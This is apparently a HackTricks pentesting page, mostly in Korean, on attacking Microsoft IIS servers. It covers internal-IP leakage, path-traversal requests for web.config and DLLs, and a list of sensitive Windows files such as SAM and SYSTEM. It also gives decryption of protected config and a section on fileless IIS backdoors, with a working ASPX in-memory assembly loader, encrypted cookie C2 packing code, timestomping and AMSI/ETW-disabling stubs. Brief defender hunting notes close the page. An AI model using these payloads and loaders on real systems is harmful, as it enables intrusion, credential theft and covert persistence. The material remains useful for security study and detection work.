IIS - Internet Information Services

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

ํ…Œ์ŠคํŠธ ์‹คํ–‰ ํŒŒ์ผ ํ™•์žฅ์ž:

  • asp
  • aspx
  • config
  • php

๋‚ด๋ถ€ IP ์ฃผ์†Œ ๋…ธ์ถœ

IIS ์„œ๋ฒ„์—์„œ 302 ์‘๋‹ต์„ ๋ฐ›๋Š” ๊ฒฝ์šฐ Host ํ—ค๋”๋ฅผ ์ œ๊ฑฐํ•˜๊ณ  HTTP/1.0์„ ์‚ฌ์šฉํ•ด ๋ณด์„ธ์š”. ์‘๋‹ต์˜ Location ํ—ค๋”๊ฐ€ ๋‚ด๋ถ€ IP ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

nc -v domain.com 80
openssl s_client -connect domain.com:443

๋‚ด๋ถ€ IP๋ฅผ ๋…ธ์ถœํ•˜๋Š” ์‘๋‹ต:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

.config ํŒŒ์ผ ์‹คํ–‰

.config ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜์—ฌ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•œ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์€ ํŒŒ์ผ ๋์— HTML ์ฃผ์„ ์•ˆ์— ์ฝ”๋“œ๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค: ์˜ˆ์ œ ๋‹ค์šด๋กœ๋“œ

์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•๊ณผ ์ถ”๊ฐ€ ๊ธฐ์ˆ ์€ ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•˜์„ธ์š”.

IIS Discovery Bruteforce

์ œ๊ฐ€ ๋งŒ๋“  ๋ฆฌ์ŠคํŠธ๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜์„ธ์š”:

๋‹ค์Œ ๋ฆฌ์ŠคํŠธ๋“ค์˜ ๋‚ด์šฉ์„ ํ•ฉ์ณ ์ƒ์„ฑ๋˜์—ˆ์Šต๋‹ˆ๋‹ค:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

ํ™•์žฅ์ž๋ฅผ ์ถ”๊ฐ€ํ•˜์ง€ ๋ง๊ณ  ์‚ฌ์šฉํ•˜์„ธ์š”. ํ•„์š”ํ•œ ํ™•์žฅ์ž๋Š” ์ด๋ฏธ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

Path Traversal

Leaking source code

์ „์ฒด ์ž์„ธํ•œ ์„ค๋ช…์€ ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Tip

์š”์•ฝํ•˜์ž๋ฉด, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํด๋” ์•ˆ์—๋Š” โ€œassemblyIdentityโ€ ํŒŒ์ผ๊ณผ โ€œnamespacesโ€œ๋ฅผ ์ฐธ์กฐํ•˜๋Š” ์—ฌ๋Ÿฌ web.config ํŒŒ์ผ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ •๋ณด๋ฅผ ํ†ตํ•ด ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ํŒŒ์ผ์˜ ์œ„์น˜๋ฅผ ์•Œ ์ˆ˜ ์žˆ๊ณ  ํ•ด๋‹น ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋‹ค์šด๋กœ๋“œํ•œ Dlls์—์„œ ์ƒˆ๋กœ์šด namespaces๋ฅผ ์ฐพ์•„ ์ ‘๊ทผ์„ ์‹œ๋„ํ•˜๊ณ  web.config ํŒŒ์ผ์„ ์–ป์–ด ๋” ๋งŽ์€ namespaces์™€ assemblyIdentity๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋˜ํ•œ connectionstrings.config์™€ global.asax ํŒŒ์ผ์—๋Š” ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

In .Net MVC applications, the web.config file plays a crucial role by specifying each binary file the application relies on through โ€œassemblyIdentityโ€ XML tags.

๋ฐ”์ด๋„ˆ๋ฆฌ ํŒŒ์ผ ํƒ์ƒ‰

์•„๋ž˜์— web.config ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๋Š” ์˜ˆ์‹œ๊ฐ€ ๋‚˜์™€ ์žˆ์Šต๋‹ˆ๋‹ค:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

์ด ์š”์ฒญ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋‹ค์–‘ํ•œ ์„ค์ • ๋ฐ ์ข…์†์„ฑ์„ ๋“œ๋Ÿฌ๋ƒ…๋‹ˆ๋‹ค:

  • EntityFramework ๋ฒ„์ „
  • AppSettings (์›นํŽ˜์ด์ง€, ํด๋ผ์ด์–ธํŠธ ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ ๋ฐ JavaScript์šฉ)
  • System.web์˜ ์ธ์ฆ ๋ฐ ๋Ÿฐํƒ€์ž„ ๊ตฌ์„ฑ
  • System.webServer ๋ชจ๋“ˆ ์„ค์ •
  • Runtime์˜ ์–ด์…ˆ๋ธ”๋ฆฌ ๋ฐ”์ธ๋”ฉ(์˜ˆ: Microsoft.Owin, Newtonsoft.Json, System.Web.Mvc ๋“ฑ ์—ฌ๋Ÿฌ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ)

์ด๋Ÿฌํ•œ ์„ค์ •์€ /bin/WebGrease.dll ๊ฐ™์€ ํŠน์ • ํŒŒ์ผ๋“ค์ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ /bin ํด๋”์— ์œ„์น˜ํ•˜๊ณ  ์žˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

Root Directory Files

๋ฃจํŠธ ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ๋ฐœ๊ฒฌ๋˜๋Š” ํŒŒ์ผ๋“ค, ์˜ˆ๋ฅผ ๋“ค์–ด /global.asax ๋ฐ /connectionstrings.config(๋ฏผ๊ฐํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์Œ)๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ตฌ์„ฑ ๋ฐ ๋™์ž‘์— ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค.

Namespaces and Web.Config

MVC ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ๊ฐ ํŒŒ์ผ์—์„œ ๋ฐ˜๋ณต ์„ ์–ธ์„ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ํŠน์ • ๋„ค์ž„์ŠคํŽ˜์ด์Šค์šฉ ์ถ”๊ฐ€ web.config files๋ฅผ ์ •์˜ํ•˜๊ธฐ๋„ ํ•˜๋ฉฐ, ๋‹ค๋ฅธ web.config๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๋„๋ก ํ•œ ์š”์ฒญ์—์„œ ๊ทธ ์ ์ด ๋“œ๋Ÿฌ๋‚ฉ๋‹ˆ๋‹ค:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

DLL ๋‹ค์šด๋กœ๋“œ

์ปค์Šคํ…€ ๋„ค์ž„์ŠคํŽ˜์ด์Šค์˜ ์–ธ๊ธ‰์€ /bin ๋””๋ ‰ํ† ๋ฆฌ์— WebApplication1๋ผ๋Š” ์ด๋ฆ„์˜ DLL์ด ์กด์žฌํ•จ์„ ์•”์‹œํ•ฉ๋‹ˆ๋‹ค. ์ด์–ด์„œ WebApplication1.dll์„ ๋‹ค์šด๋กœ๋“œํ•˜๋Š” ์š”์ฒญ์ด ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

์ด๋Š” /bin ๋””๋ ‰ํ„ฐ๋ฆฌ์— System.Web.Mvc.dll ๋ฐ System.Web.Optimization.dll ๊ฐ™์€ ๋‹ค๋ฅธ ํ•„์ˆ˜ DLL๋“ค์ด ์กด์žฌํ•จ์„ ์‹œ์‚ฌํ•ฉ๋‹ˆ๋‹ค.

DLL์ด WebApplication1.Areas.Minded๋ผ๋Š” ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋ฅผ ์ž„ํฌํŠธํ•˜๋Š” ์ƒํ™ฉ์—์„œ๋Š”, ๊ณต๊ฒฉ์ž๊ฐ€ /area-name/Views/ ๊ฐ™์€ ์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ ๊ฒฝ๋กœ์— ๋‹ค๋ฅธ web.config ํŒŒ์ผ๋“ค์ด ์กด์žฌํ•˜๋ฉฐ ๊ทธ ์•ˆ์— ํŠน์ • ๊ตฌ์„ฑ๊ณผ /bin ํด๋”์˜ ๋‹ค๋ฅธ DLL๋“ค์„ ์ฐธ์กฐํ•˜๋Š” ํ•ญ๋ชฉ๋“ค์ด ํฌํ•จ๋˜์–ด ์žˆ์Œ์„ ์œ ์ถ”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด /Minded/Views/web.config์— ๋Œ€ํ•œ ์š”์ฒญ์€ ๊ตฌ์„ฑ๊ณผ ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋ฅผ ๋“œ๋Ÿฌ๋‚ด์–ด ๋‹ค๋ฅธ DLL์ธ WebApplication1.AdditionalFeatures.dll์˜ ์กด์žฌ๋ฅผ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ผ๋ฐ˜ ํŒŒ์ผ

์ถœ์ฒ˜: here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Error

If you see an error like the following one:

๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜ค๋ฅ˜๊ฐ€ ๋ณด์ด๋ฉด:

It means that the server didnโ€™t receive the correct domain name inside the Host header.
์›น ์„œ๋ฒ„๊ฐ€ Host header์— ์˜ฌ๋ฐ”๋ฅธ ๋„๋ฉ”์ธ ์ด๋ฆ„์„ ๋ฐ›์ง€ ๋ชปํ–ˆ๋‹ค๋Š” ์˜๋ฏธ์ž…๋‹ˆ๋‹ค.
In order to access the web page you could take a look to the served SSL Certificate and maybe you can find the domain/subdomain name in there. If it isnโ€™t there you may need to brute force VHosts until you find the correct one.
์›น ํŽ˜์ด์ง€์— ์ ‘๊ทผํ•˜๋ ค๋ฉด ์ œ๊ณต๋˜๋Š” SSL Certificate๋ฅผ ํ™•์ธํ•˜์—ฌ ๋„๋ฉ”์ธ/์„œ๋ธŒ๋„๋ฉ”์ธ ์ด๋ฆ„์„ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ์กด์žฌํ•˜์ง€ ์•Š์œผ๋ฉด ์˜ฌ๋ฐ”๋ฅธ ํ•ญ๋ชฉ์„ ์ฐพ์„ ๋•Œ๊นŒ์ง€ brute force VHosts๋ฅผ ์‹œ๋„ํ•ด์•ผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Decrypt encrypted configuration and ASP.NET Core Data Protection key rings

Two common patterns to protect secrets on IIS-hosted .NET apps are:
IIS์— ํ˜ธ์ŠคํŒ…๋œ .NET ์•ฑ์—์„œ ๋น„๋ฐ€์„ ๋ณดํ˜ธํ•˜๊ธฐ ์œ„ํ•œ ๋‘ ๊ฐ€์ง€ ์ผ๋ฐ˜์ ์ธ ํŒจํ„ด์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) for web.config sections like .
  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) โ€” web.config์˜ ์™€ ๊ฐ™์€ ์„น์…˜์— ์‚ฌ์šฉ๋จ.
  • ASP.NET Core Data Protection key ring (persisted locally) used to protect application secrets and cookies.
  • ASP.NET Core Data Protection ํ‚ค ๋ง(๋กœ์ปฌ์— ์ €์žฅ๋จ) โ€” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋น„๋ฐ€๊ณผ ์ฟ ํ‚ค๋ฅผ ๋ณดํ˜ธํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋จ.

If you have filesystem or interactive access on the web server, co-located keys often allow decryption.
์›น ์„œ๋ฒ„์— ํŒŒ์ผ ์‹œ์Šคํ…œ ๋˜๋Š” ๋Œ€ํ™”ํ˜• ์•ก์„ธ์Šค๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ, ๋™์ผ ์œ„์น˜์— ์žˆ๋Š” ํ‚ค๋กœ ๋ณตํ˜ธํ™”๊ฐ€ ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค.

  • ASP.NET (Full Framework) โ€“ decrypt protected config sections with aspnet_regiis:
  • ASP.NET (Full Framework) โ€“ ๋ณดํ˜ธ๋œ ๊ตฌ์„ฑ ์„น์…˜์„ aspnet_regiis๋กœ ๋ณตํ˜ธํ™”:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core โ€“ ๋กœ์ปฌ์— ์ €์žฅ๋œ Data Protection ํ‚ค ๋ง(XML/JSON ํŒŒ์ผ)์„ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์œ„์น˜์—์„œ ์ฐพ์•„๋ณด์„ธ์š”:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

ํ‚ค ๋ง์ด ํ™•๋ณด๋˜๋ฉด, ์•ฑ์˜ ์•„์ด๋ดํ‹ฐํ‹ฐ๋กœ ์‹คํ–‰๋˜๋Š” ์šด์˜์ž๋Š” ๋™์ผํ•œ purposes๋กœ IDataProtector๋ฅผ ์ธ์Šคํ„ด์Šคํ™”ํ•˜๊ณ  ์ €์žฅ๋œ ๋น„๋ฐ€์„ unprotectํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ‚ค ๋ง์„ ์•ฑ ํŒŒ์ผ๊ณผ ํ•จ๊ป˜ ์ €์žฅํ•˜๋Š” ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์€ ํ˜ธ์ŠคํŠธ๊ฐ€ ์นจํ•ด๋œ ํ›„ ์˜คํ”„๋ผ์ธ ๋ณตํ˜ธํ™”๋ฅผ ๋งค์šฐ ์‰ฝ๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

Phantom Taurus/NET-STAR toolkit์€ w3wp.exe ๋‚ด๋ถ€์—์„œ ์™„์ „ํžˆ ๋™์ž‘ํ•˜๋Š” fileless IIS persistence ๋ฐ postโ€‘exploitation์— ๋Œ€ํ•œ ์„ฑ์ˆ™ํ•œ ํŒจํ„ด์„ ์ œ์‹œํ•ฉ๋‹ˆ๋‹ค. ํ•ต์‹ฌ ์•„์ด๋””์–ด๋Š” ์ปค์Šคํ…€ tradecraft ๋ฐ ํƒ์ง€/ํ—ŒํŒ…์—์„œ ํญ๋„“๊ฒŒ ์žฌ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: ๋‹จ์ผ .aspx ํŽ˜์ด์ง€(์˜ˆ: OutlookEN.aspx)๊ฐ€ Base64โ€‘encoded, optionally Gzipโ€‘compressed .NET DLL์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ํŠธ๋ฆฌ๊ฑฐ ์š”์ฒญ์ด ๋“ค์–ด์˜ค๋ฉด ์ด๋ฅผ ๋””์ฝ”๋“œํ•˜๊ณ  ์••์ถ•์„ ํ’€์–ด ๋ฆฌํ”Œ๋ ‰ํ‹ฐ๋ธŒ ๋ฐฉ์‹์œผ๋กœ ํ˜„์žฌ AppDomain์— ๋กœ๋“œํ•œ ๋’ค ๋ฉ”์ธ ์ง„์ž…์ (์˜ˆ: ServerRun.Run())์„ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
  • Cookieโ€‘scoped, encrypted C2 with multiโ€‘stage packing: ์ž‘์—…/๊ฒฐ๊ณผ๋Š” Gzip โ†’ AESโ€‘ECB/PKCS7 โ†’ Base64๋กœ ๋ž˜ํ•‘๋˜์–ด ๊ฒ‰๋ณด๊ธฐ์—๋Š” ํ•ฉ๋ฒ•์ ์ธ cookieโ€‘heavy ์š”์ฒญ์„ ํ†ตํ•ด ์ „์†ก๋ฉ๋‹ˆ๋‹ค; ์šด์˜์ž๋Š” ์ฒญํฌ ๋ถ„ํ• ์„ ์œ„ํ•ด ์•ˆ์ •์ ์ธ ๊ตฌ๋ถ„์ž(์˜ˆ: โ€œSTARโ€)๋ฅผ ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค.
  • Reflective .NET execution: ์ž„์˜์˜ managed assemblies๋ฅผ Base64๋กœ ๋ฐ›์•„ Assembly.Load(byte[])๋กœ ๋กœ๋“œํ•˜๊ณ  ๋””์Šคํฌ๋ฅผ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๊ณ  ๋น ๋ฅธ ๋ชจ๋“ˆ ๊ต์ฒด๋ฅผ ์œ„ํ•ด ์˜คํผ๋ ˆ์ดํ„ฐ ์ธ์ž๋ฅผ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค.
  • Operating in precompiled ASP.NET sites: ์‚ฌ์ดํŠธ๊ฐ€ precompiled๋˜์–ด ์žˆ์–ด๋„ ๋ณด์กฐ ์‰˜/๋ฐฑ๋„์–ด๋ฅผ ์ถ”๊ฐ€/๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์˜ˆ: dropper๊ฐ€ dynamic pages/handlers๋ฅผ ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜ config handlers๋ฅผ ํ™œ์šฉ). ์ด๋Š” bypassPrecompiledApp, addshell, listshell, removeshell ๊ฐ™์€ ๋ช…๋ น์œผ๋กœ ๋…ธ์ถœ๋ฉ๋‹ˆ๋‹ค.
  • Timestomping/metadata forgery: changeLastModified ์•ก์…˜์„ ๋…ธ์ถœํ•˜๊ณ  ๋ฐฐํฌ ์‹œ timestomp(๋ฏธ๋ž˜ ์ปดํŒŒ์ผ ํƒ€์ž„์Šคํƒฌํ”„ ํฌํ•จ)๋ฅผ ์ˆ˜ํ–‰ํ•˜์—ฌ DFIR์„ ๋ฐฉํ•ดํ•ฉ๋‹ˆ๋‹ค.
  • Optional AMSI/ETW preโ€‘disable for loaders: 2๋‹จ๊ณ„ ๋กœ๋”๋Š” Assembly.Load๋ฅผ ํ˜ธ์ถœํ•˜๊ธฐ ์ „์— AMSI์™€ ETW๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜์—ฌ ๋ฉ”๋ชจ๋ฆฌ ๋‚ด ํŽ˜์ด๋กœ๋“œ์— ๋Œ€ํ•œ ๊ฒ€์‚ฌ๋ฅผ ์ค„์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Minimal ASPX loader pattern

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hardโ€‘coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

ํŒจํ‚น/์•”ํ˜ธํ™” ํ—ฌํผ (Gzip + AESโ€‘ECB + Base64)

using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize โ†’ gzip โ†’ AESโ€‘ECB โ†’ Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session ํ๋ฆ„ ๋ฐ ๋ช…๋ น ํ‘œ๋ฉด

  • Session bootstrap์™€ tasking์€ ์ •์ƒ์ ์ธ ์›น ํ™œ๋™์— ์„ž์ด๋„๋ก cookies๋ฅผ ํ†ตํ•ด ์ „๋‹ฌ๋œ๋‹ค.
  • ์‹ค์ „์—์„œ ๊ด€์ฐฐ๋œ ๋ช…๋ น์—๋Š” ๋‹ค์Œ์ด ํฌํ•จ๋œ๋‹ค: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; ๊ทธ๋ฆฌ๊ณ  ๋ฉ”๋ชจ๋ฆฌ ๋‚ด .NET ์‹คํ–‰์„ ์œ„ํ•œ ๋™์  ์‹คํ–‰ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ code_self, code_pid, run_code.

Timestomping ์œ ํ‹ธ๋ฆฌํ‹ฐ

File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Assembly.Load ์ „์— AMSI/ETW๋ฅผ ์ธ๋ผ์ธ์œผ๋กœ ๋น„ํ™œ์„ฑํ™” (loader variant)

// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

๋‹ค์Œ์—์„œ AMSI/ETW bypass techniques๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”: windows-hardening/av-bypass.md

Hunting notes (defenders)

  • ๋‹จ์ผ์˜ ์ด์ƒํ•œ ASPX ํŽ˜์ด์ง€, ๋งค์šฐ ๊ธด Base64/Gzip ๋ธ”๋กญ; ์ฟ ํ‚ค๊ฐ€ ๋งŽ์€ POST ์š”์ฒญ.
  • w3wp.exe ๋‚ด๋ถ€์˜ unbacked managed modules; Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run ๊ฐ™์€ ๋ฌธ์ž์—ด.
  • ํŠธ๋ž˜ํ”ฝ์—์„œ โ€œSTARโ€ ๊ฐ™์€ ๋ฐ˜๋ณต ๊ตฌ๋ถ„์ž; ASPX/assemblies์— ๋ถˆ์ผ์น˜ํ•˜๊ฑฐ๋‚˜ ์‹ฌ์ง€์–ด ๋ฏธ๋ž˜ ์‹œ์ ์˜ ํƒ€์ž„์Šคํƒฌํ”„.

Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)

